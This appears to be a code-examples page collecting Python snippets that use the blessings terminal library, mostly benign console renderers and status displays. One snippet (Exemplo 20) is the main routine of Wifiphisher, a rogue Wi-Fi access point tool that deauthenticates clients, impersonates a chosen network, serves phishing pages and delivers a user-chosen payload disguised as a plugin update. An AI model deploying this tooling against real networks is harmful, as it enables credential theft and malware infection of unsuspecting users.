Exemplo n.º 1
0
def dump_all(out_dir, heatmaps):
    stats = {}
    t = Terminal()
    t.clear()
    sys.stdout.write("\x1b[2J\x1b[H")

    print('{t.underline}{outdir}{t.normal}\n'.format(t=t, outdir=out_dir))

    keys = list(heatmaps.keys())
    keys.sort()

    for layer in keys:
        if len(heatmaps[layer].log) == 0:
            continue

        with open("%s/%s.json" % (out_dir, layer), "w") as f:
            json.dump(heatmaps[layer].get_heatmap(), f)
        stats[layer] = heatmaps[layer].get_stats()

        left = stats[layer]['hands']['left']
        right = stats[layer]['hands']['right']

        print('{t.bold}{layer}{t.normal} ({total:,} taps):'.format(
            t=t, layer=layer, total=int(stats[layer]['total-keys'] / 2)))
        print (('{t.underline}        | ' + \
                'left ({l[usage]:6.2f}%)  | ' + \
                'right ({r[usage]:6.2f}%) |{t.normal}').format(t=t, l=left, r=right))
        print ((' {t.bright_magenta}pinky{t.white}  |     {left[pinky]:6.2f}%     |     {right[pinky]:6.2f}%     |\n' + \
                ' {t.bright_cyan}ring{t.white}   |     {left[ring]:6.2f}%     |     {right[ring]:6.2f}%     |\n' + \
                ' {t.bright_blue}middle{t.white} |     {left[middle]:6.2f}%     |     {right[middle]:6.2f}%     |\n' + \
                ' {t.bright_green}index{t.white}  |     {left[index]:6.2f}%     |     {right[index]:6.2f}%     |\n' + \
                ' {t.bright_red}thumb{t.white}  |     {left[thumb]:6.2f}%     |     {right[thumb]:6.2f}%     |\n' + \
                '').format(left=left['fingers'], right=right['fingers'], t=t))
Exemplo n.º 2
0
def dump_all(out_dir, heatmaps):
    stats = {}
    t = Terminal()
    t.clear()
    sys.stdout.write("\x1b[2J\x1b[H")

    print ('{t.underline}{outdir}{t.normal}\n'.format(t=t, outdir=out_dir))

    keys = list(heatmaps.keys())
    keys.sort()

    for layer in keys:
        if len(heatmaps[layer].log) == 0:
            continue

        with open ("%s/%s.json" % (out_dir, layer), "w") as f:
            json.dump(heatmaps[layer].get_heatmap(), f)
        stats[layer] = heatmaps[layer].get_stats()

        left = stats[layer]['hands']['left']
        right = stats[layer]['hands']['right']

        print ('{t.bold}{layer}{t.normal} ({total:,} taps):'.format(t=t, layer=layer,
                                                                    total=int(stats[layer]['total-keys'] / 2)))
        print (('{t.underline}        | ' + \
                'left ({l[usage]:6.2f}%)  | ' + \
                'right ({r[usage]:6.2f}%) |{t.normal}').format(t=t, l=left, r=right))
        print ((' {t.bright_magenta}pinky{t.white}  |     {left[pinky]:6.2f}%     |     {right[pinky]:6.2f}%     |\n' + \
                ' {t.bright_cyan}ring{t.white}   |     {left[ring]:6.2f}%     |     {right[ring]:6.2f}%     |\n' + \
                ' {t.bright_blue}middle{t.white} |     {left[middle]:6.2f}%     |     {right[middle]:6.2f}%     |\n' + \
                ' {t.bright_green}index{t.white}  |     {left[index]:6.2f}%     |     {right[index]:6.2f}%     |\n' + \
                ' {t.bright_red}thumb{t.white}  |     {left[thumb]:6.2f}%     |     {right[thumb]:6.2f}%     |\n' + \
                '').format(left=left['fingers'], right=right['fingers'], t=t))
Exemplo n.º 3
0
def dump_all(out_dir, heatmaps, save):
    stats = {}
    t = Terminal()
    t.clear()
    sys.stdout.write("\x1b[2J\x1b[H")

    print('{t.underline}{outdir}{t.normal}\n'.format(t=t, outdir=out_dir))

    keys = list(heatmaps.keys())
    keys.sort()
    to_log = {}
    fingers = [
        ('pinky', t.bright_magenta),
        ('ring', t.bright_cyan),
        ('middle', t.bright_blue),
        ('index', t.bright_green),
        ('thumb', t.bright_red)
    ]
    output_file_str = '{output_dir}/{layer}.json'

    for layer in keys:
        if len(heatmaps[layer].log) == 0:
            continue

        output_file = output_file_str.format(output_dir=out_dir, layer=layer)
        with open(output_file, 'w') as file:
            json.dump(heatmaps[layer].get_heatmap(out_dir), file)
        to_log[layer] = heatmaps[layer].get_dict()
        stats[layer] = heatmaps[layer].get_stats()

        left = stats[layer]['hands']['left']
        right = stats[layer]['hands']['right']

        print(
            '{t.bold}{layer}{t.normal} ({total:,} taps):'.format(
                t=t, layer=layer, total=int(stats[layer]['total-keys'])
            )
        )
        print(
            '{t.underline:12s}| left ({left:7.2%})  | right ({right:7.2%}) |{t.normal}'.format(
                t=t, left=left['usage']/100, right=right['usage']/100
            )
        )

        finger_row = ' {color}{finger:>6s}{t.white} | {left:^15.2%} | {right:^15.2%} |'
        for finger, color in fingers:
            left_val = left['fingers'][finger]/100
            right_val = right['fingers'][finger]/100
            print(finger_row.format(left=left_val, right=right_val, t=t, color=color, finger=finger))
        print()

    if save:
        save_file = '{output_dir}/heatmap_data.json'.format(output_dir=out_dir)
        with open(save_file, 'w') as file:
            json.dump(to_log, file)
Exemplo n.º 4
0
def tie_a_tie():
    """
    Interactive tie tying.
    """
    def throw():
        print(term.clear())
        with term.location(10, term.height):
            print("Please enter a valid choice.")
            sleep(1)
            print(term.clear())
    def start_knot():
        print(term.clear())
        starting_point = input("Start in or out? ").lower()
        if starting_point in ["i", "in"]:
            return Knot('Li')
        elif starting_point in ["o", "out"]:
            return Knot('Lo')
        else:
            return Knot()

    term = Terminal()
    with term.location(0,0):
        tie = start_knot()
        while tie.final() != 'Ti':
            print(term.clear())
            choices = tie.legal_intersection()
            tie_str = str(tie)
            try:
                while True:
                    with term.location(0,3):
                        possibilities = [name for walk, name in NAMED_KNOTS.items() if tie_str == walk[:len(tie_str)]]
                        print("\nPossible knots:\n{}\n".format("\n".join(possibilities)))
                    next_step = input("Your knot so far: {}\nNext step ({}{}): "
                               .format(tie_str, choices, " back" if len(tie) > 1 else "")).title()
                    if next_step == "Back" and len(tie) > 1:
                        tie.pop()
                        break
                    if next_step == "Back" and len(tie) == 1:
                        tie = start_knot()
                        break
                    if next_step in choices:
                        tie.append(next_step)
                        break
                    if not next_step:
                        tie.append(choices[0])
                        break
                    else: 
                        throw()   
            except:
                throw()                 
        print(term.clear())
    tie.analyze()
Exemplo n.º 5
0
class Renderer():
    """renders a grid with values (for the gridworld)"""
    cell_width = 7
    cell_height = 3

    def __init__(self, grid):
        self.term = Terminal()
        self.grid = grid

    def _draw_cell(self, x, y, color, value, pos):
        x_mid = math.floor(self.cell_width / 2)
        y_mid = math.floor(self.cell_height / 2)

        for i in range(self.cell_width):
            for j in range(self.cell_height):
                char = ' '
                print(
                    self.term.move(y + j, x + i) + self.term.on_color(color) +
                    '{}'.format(char) + self.term.normal)

        v = str(value)
        cx = x_mid + x
        cy = y_mid + y
        offset = len(v) // 2
        if value is None:
            highlight = 230
        elif value < 0:
            highlight = 1
        elif value > 0:
            highlight = 34  # 2
        else:
            highlight = 245
        for i, char in enumerate(v):
            x = cx - offset + i
            print(
                self.term.move(cy, x) + self.term.on_color(color) +
                self.term.color(highlight) + char + self.term.normal)

        print(
            self.term.move(y, x) + self.term.on_color(color) +
            self.term.color(248) + '{},{}'.format(*pos) + self.term.normal)

    def render(self, pos=None):
        """renders the grid,
        highlighting the specified position if there is one"""
        print(self.term.clear())
        for r, row in enumerate(self.grid):
            for c, val in enumerate(row):
                if val is None:
                    # continue # uncomment this if holes should be nothing
                    color = 160
                else:
                    color = 252 if (r + c) % 2 == 0 else 253
                if pos is not None and pos == (r, c):
                    color = 4
                self._draw_cell(c * self.cell_width, r * self.cell_height,
                                color, val, (r, c))

        # move cursor to end
        print(self.term.move(len(self.grid) * self.cell_height, 0))
Exemplo n.º 6
0
def niceEndless(ser, cockpitAddress):
	t = Terminal()
	with t.fullscreen():
		while True:
			print t.clear()
			runData = getRunDaten(ser, cockpitAddress)
			with t.location(10, 2):
				print "Person: " + C_PERSONS[runData[C_RUN_PERSON]]
			with t.location(10, 3):
				print "Programm: " + str(runData[C_RUN_PROGRAM])
			with t.location(10, 4):
				progressBar = " " + "#" * (runData[C_RUN_RPM] / 2) 
				print "Umdrehungen: " + str(runData[C_RUN_RPM]) + " [" + progressBar
			with t.location(124, 4):
				print "]"
			time.sleep(1)
Exemplo n.º 7
0
    def select_chromecast(cls):
        name = None
        chromecasts = pychromecast.get_chromecasts_as_dict().keys()

        if not chromecasts:
            return

        if len(chromecasts) > 1:
            term = Terminal()

            print(term.clear())
            print(term.bold("Touchandgo\n"))
            print(term.red("Chromecasts Availables"))
            for i, cc_name in enumerate(chromecasts, 1):
                option = term.cyan("%s) " % i)
                option += cc_name
                print(option)

            input_text = "Select which chromecast you want to cast (1-%d): " % \
                len(chromecasts)
            user_input = raw_input(input_text)

            try:
                opt = int(user_input) - 1
                if opt > len(chromecasts) or opt < 1:
                    opt = 0
            except ValueError:
                opt = 0

            name = chromecasts[opt]
        elif len(chromecasts) == 1:
            name = chromecasts[0]

        return name
Exemplo n.º 8
0
class ColorTerminal(object) :
    def __init__ (self,nocolor=False) :
        self.term = None
        if not nocolor :
            try :
                # https://pypi.python.org/pypi/blessings/
                from blessings import Terminal
                self.term = Terminal ()
            except :
                logging.info("blessings module isn't available thus no color")

    def __getattr__(self, attr) :
        if self.term and attr != 'default':
            return getattr(self.term,attr)
        else :
            return self._nocolorterm

    def clear_sceeen(self) :
        if self.term :
            sys.stdout.write(self.term.clear())
        else :
            os.system('clear')

    @staticmethod
    def screen_size() :
        rows, columns = os.popen('stty size', 'r').read().split()
        return int(rows), int(columns)

    @staticmethod
    def _nocolorterm(*pars) :
        if len(pars) == 1 :
            return pars[0]
Exemplo n.º 9
0
class Terminal:
    def __init__(self):
        self._term = BlessingsTerm()

    def __getattribute__(self, name):
        if name in (
            'black',
            'red',
            'green',
            'yellow',
            'blue',
            'magenta',
            'cyan',
            'white',
            'bold',
            'reverse',
            'underline',
            'no_underline',
            'blink',
            'normal',
        ):
            return getattr(self._term, name)
        else:
            return super().__getattribute__(name)

    def display(self, val, color=None):
        if color:
            print(color, end='')

        print(val, end='')

        if color:
            print(self._term.normal, end='')

    def clear(self):
        self.display(self._term.clear())

    def move(self, row_or_location, column=None):
        if isinstance(row_or_location, Location):
            if column is not None:
                raise ValueError('column cannot be provided with a Location')

            self.display(self._term.move(*row_or_location))
        elif column is None:
            raise ValueError('column must be provided when used without a Location')
        else:
            self.display(self._term.move(row_or_location, column))

    def move_right(self):
        self.display(self._term.move_right)

    def move_left(self):
        self.display(self._term.move_left)

    def move_up(self):
        self.display(self._term.move_up)

    def move_down(self):
        self.display(self._term.move_down)
Exemplo n.º 10
0
class ConsoleWindow(object):
    """ Represents the Console Window displayed to the user """
    
    def __init__(self):
        """ Build the window """
        self.screen = None
        self.terminal = Terminal()
        
        self.write(self.terminal.enter_fullscreen())
        self.write(self.terminal.hide_cursor())
        
    def close(self):
        self.write(self.terminal.exit_fullscreen())
        self.write(self.terminal.normal_cursor())

    @property
    def width(self):
        """ Return the width of the window """
        return self.terminal.width
    
    @property
    def height(self):
        """ Return the height of the window """
        return self.terminal.height
        
    def setScreen(self, screen):
        """ Sets the current Screen Display """
        self.screen = screen
        self.clear()
        
    def update(self):
        """ Update the screen """
        self.screen.update()
        self.screen.draw(self)
        
    def draw(self):
        """ Draw the Screen """
        self.screen.draw()
        
    def clear(self):
        """ Clears the window """
        print self.terminal.clear()
        
    def write(self, string):
        """ Write the string directly to stdout """
        sys.stdout.write(string)
Exemplo n.º 11
0
class ConsoleWindow(object):
    """ Represents the Console Window displayed to the user """
    def __init__(self):
        """ Build the window """
        self.screen = None
        self.terminal = Terminal()

        self.write(self.terminal.enter_fullscreen())
        self.write(self.terminal.hide_cursor())

    def close(self):
        self.write(self.terminal.exit_fullscreen())
        self.write(self.terminal.normal_cursor())

    @property
    def width(self):
        """ Return the width of the window """
        return self.terminal.width

    @property
    def height(self):
        """ Return the height of the window """
        return self.terminal.height

    def setScreen(self, screen):
        """ Sets the current Screen Display """
        self.screen = screen
        self.clear()

    def update(self):
        """ Update the screen """
        self.screen.update()
        self.screen.draw(self)

    def draw(self):
        """ Draw the Screen """
        self.screen.draw()

    def clear(self):
        """ Clears the window """
        print self.terminal.clear()

    def write(self, string):
        """ Write the string directly to stdout """
        sys.stdout.write(string)
Exemplo n.º 12
0
class ConsoleWindow(object):
    """ Represents the Console Window displayed to the user """
    
    def __init__(self):
        """ Build the window """
        self.screen = None
        self.terminal = Terminal()
        
        print self.terminal.enter_fullscreen()
        print self.terminal.hide_cursor()
        
    def close(self):
        print self.terminal.exit_fullscreen()
        print self.terminal.normal_cursor()

    def getWidth(self):
        """ Return the width of the window """
        return self.terminal.width

    def getHeight(self):
        """ Return the height of the window """
        return self.terminal.height
        
    def setScreen(self, screen):
        """ Sets the current Screen Display """
        self.screen = screen
        window.clear()
        
    def update(self):
        """ Update the screen """
        self.screen.update()
        self.screen.draw(self)
        
    def draw(self, text, pos):
        """ Draws the text to the window """
        lineNum = pos[1]
        for line in text:
            with self.terminal.location(int(pos[0]), int(lineNum)):
                print line
            lineNum += 1
        
    def clear(self):
        """ Clears the window """
        print self.terminal.clear()
Exemplo n.º 13
0
class Screen(object):
  def __init__(self):
    self.term = Terminal()
    self.top_lines = {}
    self.bottom_lines = {}
    self.next_line_top = 0
    self.next_line_bottom = 1

    print self.term.enter_fullscreen()

  def redraw(self):
    print self.term.clear()

    for n, line in self.top_lines.iteritems():
      with self.term.location(0, n):
        for component in line:
          print str(component),

    for n, line in self.bottom_lines.iteritems():
      with self.term.location(0, self.term.height - n):
        for component in line:
          print str(component),

    sys.stdout.flush()

  def add_line(self, line, to_bottom=False):
    if to_bottom is False:
      self.top_lines[self.next_line_top] = line
      self.next_line_top += 1
    else:
      self.bottom_lines[self.next_line_bottom] = line
      self.next_line_bottom += 1

  def add_component(self, component, to_bottom=False):
    if to_bottom is False:
      self.top_lines[self.next_line_top] = Line(comp=component)
      self.next_line_top += 1
    else:
      self.bottom_lines[self.next_line_bottom] = Line(comp=component)
      self.next_line_bottom += 1

  def exit(self):
    print self.term.clear()
    print self.term.exit_fullscreen()
Exemplo n.º 14
0
class ConsoleWindow(object):
    """ Represents the Console Window displayed to the user """
    def __init__(self):
        """ Build the window """
        self.screen = None
        self.terminal = Terminal()

        print self.terminal.enter_fullscreen()
        print self.terminal.hide_cursor()

    def close(self):
        print self.terminal.exit_fullscreen()
        print self.terminal.normal_cursor()

    def getWidth(self):
        """ Return the width of the window """
        return self.terminal.width

    def getHeight(self):
        """ Return the height of the window """
        return self.terminal.height

    def setScreen(self, screen):
        """ Sets the current Screen Display """
        self.screen = screen
        window.clear()

    def update(self):
        """ Update the screen """
        self.screen.update()
        self.screen.draw(self)

    def draw(self, text, pos):
        """ Draws the text to the window """
        lineNum = pos[1]
        for line in text:
            with self.terminal.location(int(pos[0]), int(lineNum)):
                print line
            lineNum += 1

    def clear(self):
        """ Clears the window """
        print self.terminal.clear()
Exemplo n.º 15
0
class Renderer():
    cell_width = 7
    cell_height = 3

    def __init__(self, game):
        self.term = Terminal()
        self.game = game

    def _draw_cell(self, x, y, color, values=None):
        x_mid = math.floor(self.cell_width/2)
        y_mid = math.floor(self.cell_height/2)

        for i in range(self.cell_width):
            for j in range(self.cell_height):
                char = ' '
                if values is not None:
                    if i == x_mid and j == 0:
                        char = values[0]
                    elif j == y_mid and i == self.cell_width-1:
                        char = values[1]
                    elif i == x_mid and j == self.cell_height-1:
                        char = values[2]
                    elif j == y_mid and i == 0:
                        char = values[3]
                print(self.term.move(y+j, x+i) + self.term.on_color(color) + '{}'.format(char) + self.term.normal)

    def render(self):
        print(self.term.clear())
        self._render_board()
        self._render_cards()

    def _render_board(self):
        for row in range(self.game.rows):
            for col in range(self.game.cols):
                card = self.game.board[row, col]
                if card is None:
                    color = 250 if (row + col) % 2 == 0 else 253
                    values = None
                else:
                    color = card.player.color
                    values = card.values
                self._draw_cell(row * self.cell_width, col * self.cell_height, color, values=values)

    def _render_cards(self):
        padding = 1
        y = self.cell_height * self.game.rows
        cell_mid = math.floor(self.cell_width/2)
        for player in self.game.players:
            y += padding
            print(self.term.move(y, 0) + '{}'.format(player))
            y += 1
            for j, card in enumerate(player.unplayed_cards):
                self._draw_cell(j * (self.cell_width + 1), y, player.color, card.values)
                print(self.term.move(y + self.cell_height, j * (self.cell_width + 1) + cell_mid) + str(j))
            y += self.cell_height + 1
Exemplo n.º 16
0
    def print_formatted(self,
                        fp=sys.stdout,
                        force_color=False,
                        no_color=False,
                        show_cmd=False,
                        show_user=False,
                        show_pid=False,
                        show_power=None,
                        gpuname_width=16,
                        show_header=True,
                        clear_term=False,
                        **kwargs):
        # ANSI color configuration
        if force_color and no_color:
            raise ValueError(
                "--color and --no_color can't be used at the same time")

        if force_color:
            t_color = Terminal(kind='xterm-color', force_styling=True)
        elif no_color:
            t_color = Terminal(force_styling=None)
        else:
            t_color = Terminal()  # auto, depending on isatty

        if clear_term:
            print(t_color.clear())
        # header
        if show_header:
            time_format = locale.nl_langinfo(locale.D_T_FMT)

            header_msg = '{t.bold_white}{hostname}{t.normal}  {timestr}'.format(
                **{
                    'hostname': self.hostname,
                    'timestr': self.query_time.strftime(time_format),
                    't': t_color,
                })

            fp.write(header_msg)
            fp.write('\n')

        # body
        gpuname_width = max([gpuname_width] +
                            [len(g.entry['name']) for g in self])
        for g in self:
            g.print_to(fp,
                       show_cmd=show_cmd,
                       show_user=show_user,
                       show_pid=show_pid,
                       show_power=show_power,
                       gpuname_width=gpuname_width,
                       term=t_color)
            fp.write('\n')

        fp.flush()
Exemplo n.º 17
0
class StatusDisplay(Thread):

    def __init__(self, qla_data, status_data, stop_event, logfile=None):
        self.status_data = status_data
        self.qla_data = qla_data
        self.term = Terminal()
        self.stop_event = stop_event
        self.logfile = logfile
        super(StatusDisplay, self).__init__()

    def run(self):
        with self.term.fullscreen(), self.term.hidden_cursor():
            print(self.term.clear())
            while not self.stop_event.is_set():
                self.update_status()
                self.stop_event.wait(5)

    def update_status(self):
        print(self.term.clear())
        print(self.term.move(0, 0) + self.term.cyan(timestamp()))

        print(self.term.move(2, 0) + 'System Status')
        for i, (key, val) in enumerate(six.iteritems(self.status_data)):
            print(self.term.move(3+i, 0) + u'{:<20}  {:>6} {:<6}'.format(
                key, *val
            ))

        print(self.term.move(2, 40) + 'Maximum Source Activity')
        for i, (key, val) in enumerate(six.iteritems(self.qla_data)):
            print(self.term.move(3+i, 40) + u'{:<20}  {:>6} {:<6}'.format(
                key, *val
            ))

        if self.logfile is not None:
            logs = check_output('tail -n20 {}'.format(self.logfile), shell=True)
            n_lines = term.height - 15
            loglines = list(
                reversed(logs.decode('utf-8').splitlines())
            )[:n_lines]
            print(self.term.move(14, 0) + '\n'.join(loglines))
Exemplo n.º 18
0
Arquivo: lib.py Projeto: bajor/ml101
class Renderer():
    """renders a grid with values"""
    cell_width = 7
    cell_height = 3

    def __init__(self, grid):
        self.term = Terminal()
        self.grid = grid

    def _draw_cell(self, x, y, color, value, pos):
        x_mid = math.floor(self.cell_width/2)
        y_mid = math.floor(self.cell_height/2)

        for i in range(self.cell_width):
            for j in range(self.cell_height):
                char = ' '
                print(self.term.move(y+j, x+i) + self.term.on_color(color) + '{}'.format(char) + self.term.normal)

        v = str(value)
        cx = x_mid + x
        cy = y_mid + y
        offset = len(v)//2
        if value < 0:
            highlight = 1
        elif value > 0:
            highlight = 2
        else:
            highlight = 245
        for i, char in enumerate(v):
            x = cx - offset + i
            print(self.term.move(cy, x) + self.term.on_color(color) + self.term.color(highlight) + char + self.term.normal)

        print(self.term.move(y, x) + self.term.on_color(color) + self.term.color(248) + '{},{}'.format(*pos) + self.term.normal)

    def render(self, pos=None):
        """renders the grid,
        highlighting the specified position if there is one"""
        print(self.term.clear())
        for r, row in enumerate(self.grid):
            for c, val in enumerate(row):
                if val is None:
                    continue
                color = 252 if (r + c) % 2 == 0 else 253
                if pos is not None and pos == (r, c):
                    color = 4
                self._draw_cell(c * self.cell_width, r * self.cell_height, color, val, (r,c))

        # move cursor to end
        print(self.term.move(len(self.grid) * self.cell_height, 0))
Exemplo n.º 19
0
    else:
        shutil.rmtree(ARGS.tempdir)
        os.makedirs(ARGS.tempdir)

    interpolation = configparser.ExtendedInterpolation()
    cfg = configparser.ConfigParser(interpolation=interpolation)
    cfg.read(ARGS.config)

    if ARGS.logfile is not None:
        logging.basicConfig(filename=ARGS.logfile, level=logging.DEBUG,)
    else:
        logging.basicConfig(filename=cfg['log']['logfile'], level=logging.DEBUG,)

    logging.info('START LOG FILE : ' + time.strftime("%c"))
    TERM = Terminal()
    print(TERM.clear())

    tasks_queue = mp.Queue()
    done_queue = mp.Queue()

    processpool = []
    for i in range(ARGS.nr_workers):
        p = mp.Process(target=worker, args=(tasks_queue, done_queue)).start()
        processpool.append(p)


    def job_to_tasks(job):
        """  Seperates a job into tasks. """
        tasks = []
        for index, T in enumerate(numpy.linspace(float(cfg[job]['mintemp']),
                                                 float(cfg[job]['maxtemp']),
Exemplo n.º 20
0
    def start(self):
        # Parse args
        global args, APs
        args = parse_args()

        # Check args
        check_args(args)

        # Are you root?
        if os.geteuid():
            sys.exit('[' + R + '-' + W + '] Please run as root')

        self.network_manager.start()

        # TODO: We should have more checks here:
        # Is anything binded to our HTTP(S) ports?
        # Maybe we should save current iptables rules somewhere

        # get interfaces for monitor mode and AP mode and set the monitor interface
        # to monitor mode. shutdown on any errors
        try:
            if args.internetinterface:
                if self.network_manager.is_interface_valid(
                        args.internetinterface, "internet"):
                    internet_interface = args.internetinterface
                    self.network_manager.unblock_interface(internet_interface)
            if not args.nojamming:
                if args.jamminginterface and args.apinterface:
                    if self.network_manager.is_interface_valid(
                            args.jamminginterface, "monitor"):
                        mon_iface = args.jamminginterface
                        self.network_manager.unblock_interface(mon_iface)
                    if self.network_manager.is_interface_valid(
                            args.apinterface, "AP"):
                        ap_iface = args.apinterface
                else:
                    mon_iface, ap_iface = self.network_manager.get_interface_automatically(
                    )
                # display selected interfaces to the user
                print(
                    "[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "
                    "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "
                    "rogue Access Point").format(G, W, mon_iface, ap_iface)

                # randomize the mac addresses
                if not args.no_mac_randomization:
                    if args.mac_ap_interface:
                        self.network_manager.set_interface_mac(
                            ap_iface, args.mac_ap_interface)
                    else:
                        self.network_manager.set_interface_mac_random(ap_iface)
                    if args.mac_deauth_interface:
                        self.network_manager.set_interface_mac(
                            mon_iface, args.mac_deauth_interface)
                    else:
                        self.network_manager.set_interface_mac_random(
                            mon_iface)
            else:
                if args.apinterface:
                    if self.network_manager.is_interface_valid(
                            args.apinterface, "AP"):
                        ap_iface = args.apinterface
                else:
                    ap_iface = self.network_manager.get_interface(True, False)
                mon_iface = ap_iface

                if not args.no_mac_randomization:
                    if args.mac_ap_interface:
                        self.network_manager.set_interface_mac(
                            ap_iface, args.mac_ap_interface)
                    else:
                        self.network_manager.set_interface_mac_random(ap_iface)

                print(
                    "[{0}+{1}] Selecting {0}{2}{1} interface for creating the "
                    "rogue Access Point").format(G, W, ap_iface)
                # randomize the mac addresses
                if not args.no_mac_randomization:
                    self.network_manager.set_interface_mac_random(ap_iface)

            # make sure interfaces are not blocked
            self.network_manager.unblock_interface(ap_iface)
            self.network_manager.unblock_interface(mon_iface)

            if not args.internetinterface:
                kill_interfering_procs()

            self.network_manager.set_interface_mode(mon_iface, "monitor")
        except (interfaces.InvalidInterfaceError,
                interfaces.InterfaceCantBeFoundError,
                interfaces.InterfaceManagedByNetworkManagerError) as err:
            print("[{0}!{1}] {2}").format(R, W, err)

            time.sleep(1)
            self.stop()

        if not args.no_mac_randomization:
            ap_mac = self.network_manager.get_interface_mac(ap_iface)
            print "[{0}+{1}] {2} mac address becomes is now {3} ".format(
                G, W, ap_iface, ap_mac)

            if not args.nojamming:
                mon_mac = self.network_manager.get_interface_mac(mon_iface)
                print("[{0}+{1}] {2} mac address becomes {3}".format(
                    G, W, mon_iface, mon_mac))

        if args.internetinterface:
            self.fw.nat(ap_iface, args.internetinterface)
            set_ip_fwd()
        else:
            self.fw.redirect_requests_localhost()
        set_route_localnet()

        print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'
        time.sleep(1)

        if args.essid:
            essid = args.essid
            channel = str(CHANNEL)
            ap_mac = None
            enctype = None
        else:
            # let user choose access point
            access_point = curses.wrapper(select_access_point, mon_iface,
                                          self.mac_matcher,
                                          self.network_manager)

            # if the user has chosen a access point continue
            # otherwise shutdown
            if access_point:
                # store choosen access point's information
                essid = access_point.get_name()
                channel = access_point.get_channel()
                ap_mac = access_point.get_mac_address()
                enctype = access_point.get_encryption()
            else:
                self.stop()
        # create a template manager object
        self.template_manager = phishingpage.TemplateManager()
        # get the correct template
        template = select_template(args.phishingscenario,
                                   self.template_manager)

        print("[" + G + "+" + W + "] Selecting " +
              template.get_display_name() + " template")

        # payload selection for browser plugin update
        if template.has_payload():
            payload_path = False
            # copy payload to update directory
            while not payload_path or not os.path.isfile(payload_path):
                # get payload path
                payload_path = raw_input(
                    "[" + G + "+" + W + "] Enter the [" + G + "full path" + W +
                    "] to the payload you wish to serve: ")
                if not os.path.isfile(payload_path):
                    print '[' + R + '-' + W + '] Invalid file path!'
            print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '
            copyfile(payload_path,
                     PHISHING_PAGES_DIR + template.get_payload_path())

        APs_context = []
        for i in APs:
            APs_context.append({
                'channel':
                APs[i][0] or "",
                'essid':
                APs[i][1] or "",
                'bssid':
                APs[i][2] or "",
                'vendor':
                self.mac_matcher.get_vendor_name(APs[i][2]) or ""
            })

        template.merge_context({'APs': APs_context})

        # only get logo path if MAC address is present
        ap_logo_path = False
        if ap_mac:
            ap_logo_path = template.use_file(
                self.mac_matcher.get_vendor_logo_path(ap_mac))

        template.merge_context({
            'target_ap_channel':
            channel or "",
            'target_ap_essid':
            essid or "",
            'target_ap_bssid':
            ap_mac or "",
            'target_ap_encryption':
            enctype or "",
            'target_ap_vendor':
            self.mac_matcher.get_vendor_name(ap_mac) or "",
            'target_ap_logo_path':
            ap_logo_path or ""
        })

        # We want to set this now for hostapd. Maybe the interface was in "monitor"
        # mode for network discovery before (e.g. when --nojamming is enabled).
        self.network_manager.set_interface_mode(ap_iface, "managed")
        # Start AP
        self.access_point.set_interface(ap_iface)
        self.access_point.set_channel(channel)
        self.access_point.set_essid(essid)
        if args.presharedkey:
            self.access_point.set_psk(args.presharedkey)
        if args.internetinterface:
            self.access_point.set_internet_interface(args.internetinterface)
        print '[' + T + '*' + W + '] Starting the fake access point...'
        try:
            self.access_point.start()
            self.access_point.start_dhcp_dns()
        except BaseException:
            self.stop()

        # With configured DHCP, we may now start the web server
        if not args.internetinterface:
            # Start HTTP server in a background thread
            print '[' + T + '*' + W + '] Starting HTTP/HTTPS server at ports ' + str(
                PORT) + ", " + str(SSL_PORT)
            webserver = Thread(target=phishinghttp.runHTTPServer,
                               args=(NETWORK_GW_IP, PORT, SSL_PORT, template))
            webserver.daemon = True
            webserver.start()

            time.sleep(1.5)

        # We no longer need mac_matcher
        self.mac_matcher.unbind()

        clients_APs = []
        APs = []

        if not args.nojamming:
            # Start Extension Manager
            shared_data = {
                'target_ap_channel': channel or "",
                'target_ap_essid': essid or "",
                'target_ap_bssid': ap_mac or "",
                'target_ap_encryption': enctype or "",
                'target_ap_logo_path': ap_logo_path or "",
                'rogue_ap_mac': ap_mac,
                'APs': APs_context,
                'args': args
            }
            self.em.set_interface(mon_iface)
            extensions = DEFAULT_EXTENSIONS

            if args.lure10_exploit:
                extensions.append(LURE10_EXTENSION)
            self.em.set_extensions(extensions)
            self.em.init_extensions(shared_data)
            self.em.start_extensions()

        # Main loop.
        try:
            term = Terminal()
            with term.fullscreen():
                while True:
                    term.clear()
                    with term.hidden_cursor():
                        print term.move(0, term.width - 30) + "|"
                        print term.move(
                            1, term.width -
                            30) + "|" + " " + term.bold_blue("Wifiphisher " +
                                                             VERSION)
                        print term.move(
                            2, term.width - 30) + "|" + " ESSID: " + essid
                        print term.move(
                            3, term.width - 30) + "|" + " Channel: " + channel
                        print term.move(
                            4, term.width -
                            30) + "|" + " AP interface: " + ap_iface
                        print term.move(5, term.width - 30) + "|" + "_" * 29
                        print term.move(
                            1, 0) + term.blue("Deauthenticating clients: ")
                        if not args.nojamming:
                            # show the 5 most recent entries
                            for line in self.em.get_output()[-5:]:
                                print line
                        print term.move(7, 0) + term.blue("DHCP Leases: ")
                        if os.path.isfile('/var/lib/misc/dnsmasq.leases'):
                            proc = check_output(
                                ['tail', '-5', '/var/lib/misc/dnsmasq.leases'])
                            print term.move(8, 0) + proc
                        print term.move(14, 0) + term.blue("HTTP requests: ")
                        if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
                            proc = check_output([
                                'tail', '-5', '/tmp/wifiphisher-webserver.tmp'
                            ])
                            print term.move(15, 0) + proc
                        if phishinghttp.terminate and args.quitonsuccess:
                            raise KeyboardInterrupt
        except KeyboardInterrupt:
            self.stop()
Exemplo n.º 21
0
import socket
import sys
from string import printable
from blessings import Terminal

term = Terminal()
username = sys.argv[1]

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

with term.fullscreen():

    while True:
        print(term.clear() + '>>> ', end='')
        msg = input()
        if msg.rstrip("\n\r") != '':
            payload = "{} {}".format(username, msg)
            client.sendto(payload.encode(), ('<broadcast>', 34567))
Exemplo n.º 22
0
#!/usr/bin/env python3
#25 May 2018, Lab 31 'defining functions'

from blessings import Terminal  #blessings is some thing made by some dude named Kevin that makes it a lot easier for us to manipulate (among other things) the terminal
import os  # more imported tools/libraries(?)
import sys

t = Terminal()  #set variable to save typing time
print(t.clear())  #terminal.clear() is like entering $clear


def close(event):  #I'm not sure what this does
    master.withdraw()
    sys.exit()


def yellow_wp(p):  #function with-parameters, prints text in color
    print(t.bold_black_on_yellow(p))


